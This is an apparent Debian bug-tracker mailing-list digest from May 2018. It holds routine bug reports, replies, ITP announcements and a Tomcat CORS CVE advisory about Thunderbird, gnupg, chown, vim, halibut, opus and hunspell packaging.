Foreign Architectures: i386

Kernel: Linux 4.16.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=es_AR.UTF-8, LC_CTYPE=es_AR.UTF-8 (charmap=UTF-8), 
LANGUAGE=es_AR:es (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled



Bug#898926: thunderbird: Keeps setting itself as default browser

2018-05-17 Thread Carsten Schoenert
Hello Matijs,

Am 17.05.2018 um 15:42 schrieb Matijs van Zuijlen:
> Thunderbird keeps setting itself as default browser, causing local html files
> to be opened as attachment to a new email message, and links to be
> opened no-where.
> 
> I'm using Gnome as my desktop environment, and want to have Firefox be
> its default browser.
> 
> Thunderbird is not a browser so shouldn't even try to make itself the
> default.

Thunderbird itself is using the settings
'network.protocol-handler.app.http(s)' for referencing the to be used
browser if one of http protocols is called.

The default is set to 'x-www-browser' (see
/etc/thunderbird/pref/thunderbird.js) which is linked to another link
handled by update-alternates.

> $ which x-www-browser 
> /usr/bin/x-www-browser
> $ ls -la /usr/bin/x-www-browser
> lrwxrwxrwx 1 root root 31 Jun 19  2017 /usr/bin/x-www-browser -> 
> /etc/alternatives/x-www-browser
> $ ls -la /etc/alternatives/x-www-browser
> lrwxrwxrwx 1 root root 16 Mär 30 18:47 /etc/alternatives/x-www-browser -> 
> /usr/bin/firefox

These settings shown above are the default case for a long time, so if
Thunderbird tries to open Thunderbird for html links you have some non
default settings.

The settings for network.protocol-handler.app.http(s) can be modified
within your preferences so first have a look into your profile and check
if there is something changed.

Another possibility to look at is the file
$HOME/.thunderbird/[your_profile]/mimeTypes.rdf

Here also some different browser can be declared. Look for something
like this especially on 'NC:path':

>  10 11NC:prettyName="iceweasel"
>  12NC:path="/usr/bin/x-www-browser" />

You can safely remove such a entry.

-- 
Regards
Carsten Schoenert



Bug#898930: gnupg: uses 100% CPU until killed

2018-05-17 Thread Johannes Rohr
Package: gnupg
Version: 2.2.5-1
Severity: important

Lately, when I leave my computer running, when I return I occasionally find 
that CPU usage is at 100%, CPU temperature is close to 100 centigrades, and 
that's because a gpg process seems to run wild.

This is what I get when I run strace on the process:

fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=1073741824, 
l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=1073741824, 
l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=1073741824, 
l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=1073741824, 
l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=1073741824, 
l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=1073741824, 
l_len=1}) = -1 EACCES (Permission denied)


Or with strace -y

fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}) = -1 EACCES (Permission denied)
fcntl(7, F_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, 
l_start=1073741824, l_len=1}^Cstrace: Process 28176 detached

I have no idea why permission is denied. I can't find that tofu.db is opened by 
any other process, with lsof, also I can't find anything with lslocks.


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable-debug'), (500, 
'testing-debug'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.16.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gnupg depends on:
ii  dirmngr 2.2.5-1
ii  gnupg-l10n  2.2.5-1
ii  gnupg-utils 2.2.5-1
ii  gpg 2.2.5-1
ii  gpg-agent   2.2.5-1
ii  gpg-wks-client  2.2.5-1
ii  gpg-wks-server  2.2.5-1
ii  gpgsm   2.2.5-1
ii  gpgv2.2.5-1

gnupg recommends no packages.

Versions of packages gnupg suggests:
pn  parcimonie  
pn  xloadimage  

-- no debconf information



Bug#898921: chown: please consider dropping the dot separator fallback

2018-05-17 Thread Ferenc Wágner
Michael Stone  writes:

> On Thu, May 17, 2018 at 02:56:00PM +0200, Ferenc Wágner wrote:
>
>> When asked to enable user names containing dots, I encountered
>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=604242#20.
>> When do you think chown could stop accepting the dot separator?
>
> No
>
>> While it could break old scripts 
>
> that's why
>
>> it would also enhance Debian's POSIX conformance.
>
> It would not--POSIX does not disallow the . syntax.

(This is not my point, but in my reading
http://pubs.opengroup.org/onlinepubs/9699919799/utilities/chown.html
does not allow it: "The BSD syntax user[. group] was changed to user[:
group] in this volume of POSIX.1-2017...")

Rather, I meant that adduser could be configured *by default* to not
require --force-badname for adding perfectly valid POSIX user names.
I shouldn't have used the word "conformance" for this.

> Note that the discussion in 604242 is wrong: coreutils will only fall
> back to the . syntax *if there is a . which is not in a valid
> username*. Usernames with .'s will work perfectly well as-is.

Yes.  However, chown one.two.three can still behave unexpectedly if
the "three" group and the "one.two" and "one.two.three" users all exist.
(I understand that the behavior is well defined anyway.)
-- 
Regards,
Feri



Bug#898931: ITP: looking-glass -- An extremely low latency KVM FrameRelay implementation for guests with VGA PCI Passthrough

2018-05-17 Thread Lennart Weller
Package: wnpp
Severity: wishlist
Owner: Lennart Weller 

* Package name: looking-glass
  Version : 0+a10
  Upstream Author : Geoffrey McRae 
* URL : https://github.com/gnif/LookingGlass/
* License : GPL2+ with OpenSSL Exception
  Programming Lang: C
  Description : An extremely low latency KVM FrameRelay implementation for 
guests with VGA PCI Passthrough

LookingGlass enables you to use shared memory to pass rendered frames from a
virtual machine back to the host system. This is exceptionally useful
for IOMMU/VFIO graphics card passthrough setups.



Bug#898932: ITP: libb-debug-perl -- module to print debug info about perl ops

2018-05-17 Thread gregor herrmann
Package: wnpp
Owner: gregor herrmann 
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org, debian-p...@lists.debian.org

* Package name: libb-debug-perl
  Version : 1.26
  Upstream Author : Reini Urban 
* URL : https://metacpan.org/release/B-Debug
* License : Artistic or GPL-1+
  Programming Lang: Perl
  Description : module to print debug info about perl ops

The B::Debug module walks the Perl syntax tree, printing debug info about
ops.

The B module supplies classes which allow a Perl program to delve
into its own innards.  It is the module used to implement the
"backends" of the Perl compiler.

B::Debug in perl core is deprecated in 5.27.3 and will be removed in the
future.

The package will be maintained under the umbrella of the Debian Perl Group.

--
Generated with the help of dpt-gen-itp(1) from pkg-perl-tools.


signature.asc
Description: Digital Signature


Bug#898933: vim empties file on full filesystem

2018-05-17 Thread Alexander Pyhalov

Package: vim-tiny
Version: 2:7.3.547-7

When file system is full, when we open file and save it (:w), vim gives 
an error that it cannot create file, but empties original file. (Think 
about 'editing' /etc/shadow in such way).

--
Best regards,
Alexander Pyhalov,
system administrator of Southern Federal University IT department



Bug#898921: chown: please consider dropping the dot separator fallback

2018-05-17 Thread Michael Stone

On Thu, May 17, 2018 at 04:15:44PM +0200, you wrote:

Michael Stone  writes:

It would not--POSIX does not disallow the . syntax.


(This is not my point, but in my reading
http://pubs.opengroup.org/onlinepubs/9699919799/utilities/chown.html
does not allow it: "The BSD syntax user[. group] was changed to user[:
group] in this volume of POSIX.1-2017...")


The new syntax was introduced. It does not say anything like "MUST NOT 
accept . syntax".



Rather, I meant that adduser could be configured *by default* to not
require --force-badname for adding perfectly valid POSIX user names.


It can be, someone's simply decided not to. I think that's dumb, but 
¯\_(ツ)_/¯



Yes.  However, chown one.two.three can still behave unexpectedly if
the "three" group and the "one.two" and "one.two.three" users all exist.
(I understand that the behavior is well defined anyway.)


There are all kinds of things that can be unexpected on a linux system 
if you try hard enough. We don't stop you from creating filenames with 
shell special characters, either. 


Mike Stone



Bug#898850: ui-utilcpp: FTBFS: syntax error in configure script

2018-05-17 Thread Stephan Sürken
Hi Sven,

On Wed, 2018-05-16 at 17:26 +0200, Sven Joachim wrote:
> Source: ui-utilcpp
> Version: 1.8.5-2
> Severity: serious
> 
> Your package FTBFS everywhere[1], the reason being that the configure

Ups yes, thanks for the hint ;).

I did not thoroughly check on this after the hasty post-salsa upload...

Thx!

S



Bug#898923: halibut: doesn't properly handle file starting with an empty line

2018-05-17 Thread Simon Tatham
C. Masloch  wrote:
> A simple test file fails to properly parse a \cfg command as the first
> non-empty line of a file, if the first line is empty.

Wow, that bug must have been there a _very_ long time without anyone
noticing it. Well spotted! I've pushed commit 140d8f13a upstream which
fixes it.

Cheers,
Simon

-- 
import hashlib; print((lambda p,q,g,y,r,s,m: (lambda w:(pow(g,int(hashlib.sha1(
m.encode('ascii')).hexdigest(),16)*w%q,p)*pow(y,r*w%q,p)%p)%q)(pow(s,q-2,q))==r
and m)(0xb80b5dacabab6145,0xf70027d345023,0x7643bc4018957897,0x11c2e5d9951130c9
,0xa54d9cbe4e8ab,0x746c50eaa1910,  "Simon Tatham " ))



Bug#898934: transition: libmygpo-qt

2018-05-17 Thread contact

Package: release.debian.org
User: release.debian@packages.debian.org
Usertags: transition
Severity: normal

Hello,

I uploaded a new version of libmygpo-qt (1.1.0-1) to experimental 
rebuilt against Qt5 which introduces

ABI changes. I need a transition slot.

The transition is already auto-tracked here:
* https://release.debian.org/transitions/html/auto-libmygpo-qt.html

The following packages will be affected by the transition:

* clementine : 1.3.1+git426-gb8381321c+dfsg-1 version ready in 
experimental.

* amarok : #896941

Thanks in advance,

Thomas Pierson



Bug#898935: tomcat8: CVE-2018-8014: The defaults settings for the CORS filter provided in Apache Tomcat are insecure and enable 'supportsCredentials'

2018-05-17 Thread Salvatore Bonaccorso
Source: tomcat8
Version: 8.5.30-1
Severity: important
Tags: patch security upstream
Forwarded: https://bz.apache.org/bugzilla/show_bug.cgi?id=62343

Hi,

The following vulnerability was published for tomcat8.

CVE-2018-8014[0]:
| The defaults settings for the CORS filter provided in Apache Tomcat
| 9.0.0.M1 to 9.0.8, 8.5.0 to 8.5.31, 8.0.0.RC1 to 8.0.52, 7.0.41 to
| 7.0.88 are insecure and enable 'supportsCredentials' for all origins.
| It is expected that users of the CORS filter will have configured it
| appropriately for their environment rather than using it in the
| default configuration. Therefore, it is expected that most users will
| not be impacted by this issue.

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2018-8014
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8014
[1] https://bz.apache.org/bugzilla/show_bug.cgi?id=62343

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore



Bug#898928: halibut: crashes when generating chm or html (with a non-resolving cross-reference)

2018-05-17 Thread Simon Tatham
C. Masloch  wrote:
> A simple test file, in two variants, causes a segmentation fault either
> when outputting --chm (in both variants), or when outputting --html
> (only in the variant with a non-resolving cross-reference included).

This is already fixed upstream; I think you're seeing a combination of
the bugs fixed by commits e12d87eea (CHM output crashes if the document
contains no \title) and 4b457fd6f (the shared code between CHM and HTML
segfaults as a knock-on effect of a bogus cross-reference that previous
code had already reported as an error).

Cheers,
Simon

-- 
import hashlib; print((lambda p,q,g,y,r,s,m: (lambda w:(pow(g,int(hashlib.sha1(
m.encode('ascii')).hexdigest(),16)*w%q,p)*pow(y,r*w%q,p)%p)%q)(pow(s,q-2,q))==r
and m)(0xb80b5dacabab6145,0xf70027d345023,0x7643bc4018957897,0x11c2e5d9951130c9
,0xa54d9cbe4e8ab,0x746c50eaa1910,  "Simon Tatham " ))



Bug#898853: gnuplot.lisp

2018-05-17 Thread Gunter Königsmann
Will reassign the bug to Maxima - and will see if I find a solution.

Kind regards,

   Gunter.

Am 17. Mai 2018 12:51:09 MESZ schrieb besoa...@gmail.com:
>Dear Gunther,
>
>The gnuplot.lisp file that I have (maxima 5.38.1-8) does not contain
>the lines 
>above but instead at lines 3393-3396:
>
>(when (and (not *multiplot-is-active*)
>  (not (member (get-option '$terminal) '($epslatex 
>$epslatex_standalone
>(format cmdstorage "set obj 1 rectangle behind from screen 
>~a,~a to screen ~a,~a~%" 
> origin1 origin2 (+ origin1 size1 ) (+ 
>origin2 size2)))  ))
>
>As far as I understand it, $epslatex and $epslatex_standalone have been
>
>singled out for gnuplot processing (for some reason). Either
>- the two lines should be activated
> "set obj 1 rectangle etc."
> "set obj 1 fc rgb etc."
>- or the two of them are removed from ~/maxout.gnuplot (in that
>case, no 
>background ), whereas on debian stretch only the second line is
>present.
>Both cases can generate .tex file.  (I only have gnuplot 5 too). The
>bug comes 
>from the first line missing.
>
>Best regards,
>
># locate gnuplot.lisp
>/usr/share/maxima/5.38.1/share/draw/gnuplot.lisp
>#apt-cache show maxima-share gnuplot
>Package: maxima-share
>Source: maxima
>Version: 5.38.1-8
>Package: gnuplot
>Version: 5.0.5+dfsg1-6+deb9u1

-- 
Diese Nachricht wurde von meinem Android-Gerät mit K-9 Mail gesendet.

Bug#898936: ITP: reactphp-promise-stream -- Link between promises and streams in ReactPHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: reactphp-promise-stream
  Version : 1.1.1
  Upstream Author : Christian Lück 
* URL : https://github.com/reactphp/promise-stream
* License : MIT
  Programming Lang: PHP
  Description : Link between promises and streams in ReactPHP

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9mH0xGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTylk+ZD/0eoPFy
8jkY21qKpmdpyuEdgBCiGKAMBfmNu0R+D9wV1L2cdr2MFEuWXnk2p2r6vgjK2E8E
5yP0UoKjGor6fiRkVRLg/TJch369tEuL54fJOCnF/UHPrJDzU4bqLDdeAZBMtQRq
pCSwhIThjbPmI9NB2ihFqBZTTpVyuoLS0DNlzBtVoYue+9BRKVqALj9it/1L/rHo
OmtlTgXxH9+8uYFPxRxzCNL+WKiwTQx8AAg0SAHX/tqXSRiv8H/P/P6oErrC+mIP
EUKFcHt1vPTZeGYhIInclsNa2UEKRV4fP+/XZ3kHa8XFzSXNnBT+oUQE7rTPhKPN
oXdHomCFbwbRjzW8uut+FEsnBQ2duoYVeTjRvxNJ3cpcP4jzCYcELudJgIzmR3OT
9Dcf2KFuK/+rf1/Cm2xeYWQAuNkEclzKa0Ussln+/FOucYbz3YUFP4UHE/gftZu/
5rmCH7ydtTDDzB9GwPpCguSk7Nr6hbxRdZEhBrTtrOJXLDgyCxD71YCDGtB4uB6n
5XPn1n4uau4vetiYMolEuquDXoUwogqt5ZQhgI9/Uu4jINc953Nt2KpBFfw2z06R
CC67Uw/0Bw1hgsFqsh5pu3+7UoGo+36X/thdsNhKB1JhJ/OpdAQSdJtfKtuGdDSn
lQ9WMAcRfFrKNiPJ7sBUk/UQEdK97fgAjXNlYA==
=eZSI
-END PGP SIGNATURE-


Bug#898731: myspell-lv: Convert into dummy transitional package and migrate content to hunspell-lv

2018-05-17 Thread Agustin Martin
On Tue, May 15, 2018 at 04:03:39PM +0200, Pander wrote:
> Package: myspell-lv
> Version: 0.9.6-5
> Severity: normal
> Tags: l10n

Hi,

> Convert myspell-lv into dummy transitional package and move its contents
> to hunspell-lv. hunspell-lv is now a virtual package. Gradually phase out the 
> transitional package myspell-lv that will need to get a dependency on 
> hunspell-lv.

This is a different case than ispell-fo, where dict was a myspell dict that
could be used by hunspell and there was no hunspell only dict equivalent.

In this case newer versions of the dict (above 1.0) are hunspell dicts using
hunspell specific features. They are created by the same author and are
indeed better than old ones.

There is no hunspell-lv in libreoffice dictionaries, but I was playing with
this hunspell-lv package a while ago. I will resume my work on it to prepare
a real hunspell-lv package. I will then make myspell-lv a transitional
package.

Note that this also needs some dependencies in the hunspell-lv side,
these transitions are not only a matter of myspell-xx package (and so if a
dict from libreoffice-dictionaries is involved, good coordination is
required).

> Myspell is no longer
> shipped and most other packages have migrated to the Hunspell package
> names. For example, see also
> https://packages.debian.org/stretch/myspell-af and
> https://packages.debian.org/stretch/myspell-ca 

> Note that the internal
> format of the files for Myspell and Hunspell is identical, so this
> concerns only the packaging

As said, this is not true. myspell dicts can be used by hunspell, but
hunspell-only dicts cannot be used by myspell.

Thanks for reminding me about the hunspell-lv package.

Regards,

-- 
Agustin



Bug#896674: Pam Auth Issues

2018-05-17 Thread Christian Ehrhardt
If you happened to find or block on pam auth in 2.3.1 here a few Details.
I ran into the same when testing.

Exhaustive debugging led me to enough data to find [1] and from there
[2][3].
With this applied until upstream settles how they want to resolve it
eventually things work much better for me.

Hope that helps on your >=2.3.1 efforts.

[1]: https://bugzilla.redhat.com/show_bug.cgi?id=1564348
[2]: https://github.com/dovecot/core/pull/71
[3]:
https://github.com/dovecot/core/pull/71/commits/3a3d9c77c243bc1097039cb70a0029e0c108efbb

-- 
Christian Ehrhardt
Software Engineer, Ubuntu Server
Canonical Ltd


Bug#898690: CELT PLC broken

2018-05-17 Thread Ron
Control: found -1 1.2~alpha2-1
Control: tags -1 + pending

Hi,

On Tue, May 15, 2018 at 09:24:05AM +0200, Steinar H. Gunderson wrote:
> PLC is all broken for CELT in 1.2.1 due a patch that optimized celt_fir() for 
> ARM;
> it mostly outputs just silent frames. (You can reproduce it by giving -loss to
> opus_demo.)

It looks like the patch which caused this regression was two commits
before the 1.2-alpha2 tag, which we shipped for Stretch, so I'm marking
this as found there too, in case someone else hits it there later.


> Until 1.3 comes out, which could be a while, would you be willing
> to carry this patch from upstream?
>
>   
> https://gitlab.xiph.org/xiph/opus/blob/072d133f7899c4783e67f90d07ab25b3b8414b8f/celt/celt_lpc.c
>
> There's one more patch that looks relevant 
> (92ffce621df6ace95267ac8c13aa0d862f6a476b),
> but I haven't tried it, and at least for my limited testing, the first one 
> seems
> sufficient.

I just missed catching you in #opus, which might have saved you
repeating what you found here, if I'd seen that before I saw this :)
But at least we have a report for anyone who might also hit it in
Stretch, and this is what we decided there after you'd gone:

The upstream plan is to tag at least a 1.3-rc "sometime soon", and at
present there are no known regressions in what's currently committed
to that branch - so since we've got some breathing space before the
next freeze, then rather than cherry-picking just that one patch,
I'll push out a snapshot from git head which contains it and all the
other fixes to date, including the new 'hardening' sanity checks and
the tuning improvements.

Then we can get some extra testing on those too, which will increase
the confidence for making a formal 1.3 release if nothing extra shakes
out of it.

Thanks for digging into this and reporting it.

  Cheers,
  Ron



Bug#898773: RFS: python-fibra/0.0.17-1 [ITP 898736]

2018-05-17 Thread Mario Frasca
good day here again

I have:
- accepted all debian patches from 0.0.17-1 into upstream 0.0.18,
- removed the warnings that were in the `debuild` report,
- uploaded a new 0.0.18-1, it is now free from warnings,

further:
- I built a new bauble-1.0.56-1, resolving issue 755185,
- bauble-1.0.56-1 still has `debuild` warnings I want to solve,
- bauble-1.0.56-1 depends on python-fibra.

best regards,
MF

On Tue, 15 May 2018 20:55:52 + Jeremy Stanley  wrote:
> On 2018-05-15 14:20:15 -0500 (-0500), Mario Frasca wrote:
> [...]
> > it was developed between 2008-11 (0.0.6) and 2009-8 (0.0.17)
> > [...]
>
> The dates made me strongly suspect, but skimming the upstream source
> confirms, this is very much not a Py3K-ready library. Are you
> becoming de facto upstream for this and planning to update it to
> support Python 3.x in preparation for 2.7 reaching end of life?
> --
> Jeremy Stanley
>
>



Bug#898937: ITP: hunspell-lv -- Latvian dictionary for hunspell spellchecker

2018-05-17 Thread Agustin Martin
Package: wnpp
Severity: wishlist
Owner: Agustin Martin Domingo 

* Package name: hunspell-lv
  Version : 1.3.0
  Upstream Author : Janis Eisaks 
* URL : http://openoffice-lv.sourceforge.net/openoffice.html
* License : LGPL 2.1+
  Description : Latvian dictionary for hunspell spellchecker

This dictionary contains Latvian wordlists for the hunspell
spellchecker currently supported by Mozilla and OpenOffice,
plus a Latvian hyphenation pattern for OpenOffice.

These sources will create a hunspell-lv binary package that will replace
myspell-lv binary package. However, current myspell-lv sources will stay and
will still be used to create the Latvian aspell dictionary package.

-- 
Agustin



Bug#898921: chown: please consider dropping the dot separator fallback

2018-05-17 Thread Ferenc Wágner
Michael Stone  writes:

> On Thu, May 17, 2018 at 04:15:44PM +0200, you wrote:
>
>> Michael Stone  writes:
>>
>>> It would not--POSIX does not disallow the . syntax.
>>
>> (This is not my point, but in my reading
>> http://pubs.opengroup.org/onlinepubs/9699919799/utilities/chown.html
>> does not allow it: "The BSD syntax user[. group] was changed to user[:
>> group] in this volume of POSIX.1-2017...")
>
> The new syntax was introduced.

No new syntax was introduced, "the BSD syntax was *changed*".  But this
isn't from the normative section, so nevermind.

> It does not say anything like "MUST NOT accept . syntax".

Nor like MUST NOT accept ! syntax or % syntax or @ syntax or ..:)

>> Rather, I meant that adduser could be configured *by default* to not
>> require --force-badname for adding perfectly valid POSIX user names.
>
> It can be, someone's simply decided not to. I think that's dumb, but
> ¯\_(ツ)_/¯

OK, I'll link our discussion into #604242 to see if anything can change
now.
-- 
Thanks,
Feri



Bug#876057: lists.debian.org: Request for new mailing list: debian-nvidia

2018-05-17 Thread Alexander Wirt
On Mon, 18 Sep 2017, Luca Boccassi wrote:

> Package: lists.debian.org
> Severity: wishlist
> 
> Name: debian-nvidia
> 
> Rationale:
> 
> Currently we use pkg-nvidia-devel on Alioth to discuss development
> related to the Nvidia drivers and their userspace stack (CUDA etc),
> both among developers and engaged users.
> For example, sometimes we have users who volunteer to test pre-upload
> new versions of the drivers and we use the mailing list to discuss the
> effort.
> We also use it among developers to coordinate effort, which often does
> not map directly to a bug. There are 4 active developers, and other
> less-active ones, at the moment.
> With the deprecation of Alioth we'd be missing a public equivalent, so
> we would like to request the creation of a debian-nvidia list, if
> possible.
I don't think it makes sense to create an nvidia specific mailinglist. If you
want some generic mailinglist for packaging and discussion about all gpus,
fine. 

Alex



signature.asc
Description: PGP signature


Bug#898937: ITP: hunspell-lv -- Latvian dictionary for hunspell spellchecker

2018-05-17 Thread Rene Engelhard
On Thu, May 17, 2018 at 05:01:09PM +0200, Agustin Martin wrote:
> This dictionary contains Latvian wordlists for the hunspell
> spellchecker currently supported by Mozilla and OpenOffice,
> plus a Latvian hyphenation pattern for OpenOffice.
> 
> These sources will create a hunspell-lv binary package that will replace
> myspell-lv binary package. However, current myspell-lv sources will stay and
> will still be used to create the Latvian aspell dictionary package.

And it should create a hyphen-lv.

Regards,

Rene



Bug#894081: dbgsym packages for packages in security archive

2018-05-17 Thread Salvatore Bonaccorso
Hi Kevin,

On Thu, May 10, 2018 at 02:26:28AM -0400, Kevin Easton wrote:
> Would it be possible to get a debian-debug archive added to security.d.o
> where the accompanying -dbgsym packages for packages in the debian-security
> archive get uploaded?
> 
> Eg. currently libssl1.1 version 1.1.0f-3+deb9u2 is present in the 
> debian-security archive, but this version of libssl1.1-dbgsym isn't
> available (I think this means if you had manually installed the -dbgsym
> package, you wouldn't get the security update with a plain
> "apt-get upgrade"?).
> 
> Apologies if this is already being worked on, I didn't see any
> discussion of it.

There is a tracking bug for this: https://bugs.debian.org/894081

In short: no unfortunately there is no dbgsym archive yet (although
the dbgsym packages are stored).

Regards,
Salvatore



Bug#898867: lintian: embedded-php-library libmarkdown-php vs. php-markdown confusion

2018-05-17 Thread Thorsten Glaser
Hi,

>> Now, the 1.0 version allegedly has a feature in that it can be
>> used as Wordpress plugin or something, so perhaps this situation
>> is deliberate, but even so, shouldn’t the warning point to the
>> newer package or even better both?
>
>Let's await input from the markdown maintainers themselves - I have
>not used these libraries.

indeed, just mind that Nik and I just took over php-markdown by request
of Florian, the former maintainer.

>> Considering apt-cache rdepends libmarkdown-php shows zero packages
>> depending on it, perhaps the older 1.0 version can even be RM’d?
>
>Same for this. :)

True.

>> Cc’ing GCS as libmarkdown-php maintainer.
>
>Did you skip this? I don't see an X-Debbugs-CC…

I told reportbug to add him (‘s’ after the editor), and it delivered
the initial message (according to the log on the web frontend to
debbugs); other than that, no idea… let’s just add an explicit Cc,
to make sure.

bye,
//mirabilos
-- 
> Hi, does anyone sell openbsd stickers by themselves and not packaged
> with other products?
No, the only way I've seen them sold is for $40 with a free OpenBSD CD.
-- Haroon Khalid and Steve Shockley in gmane.os.openbsd.misc



  1   2   >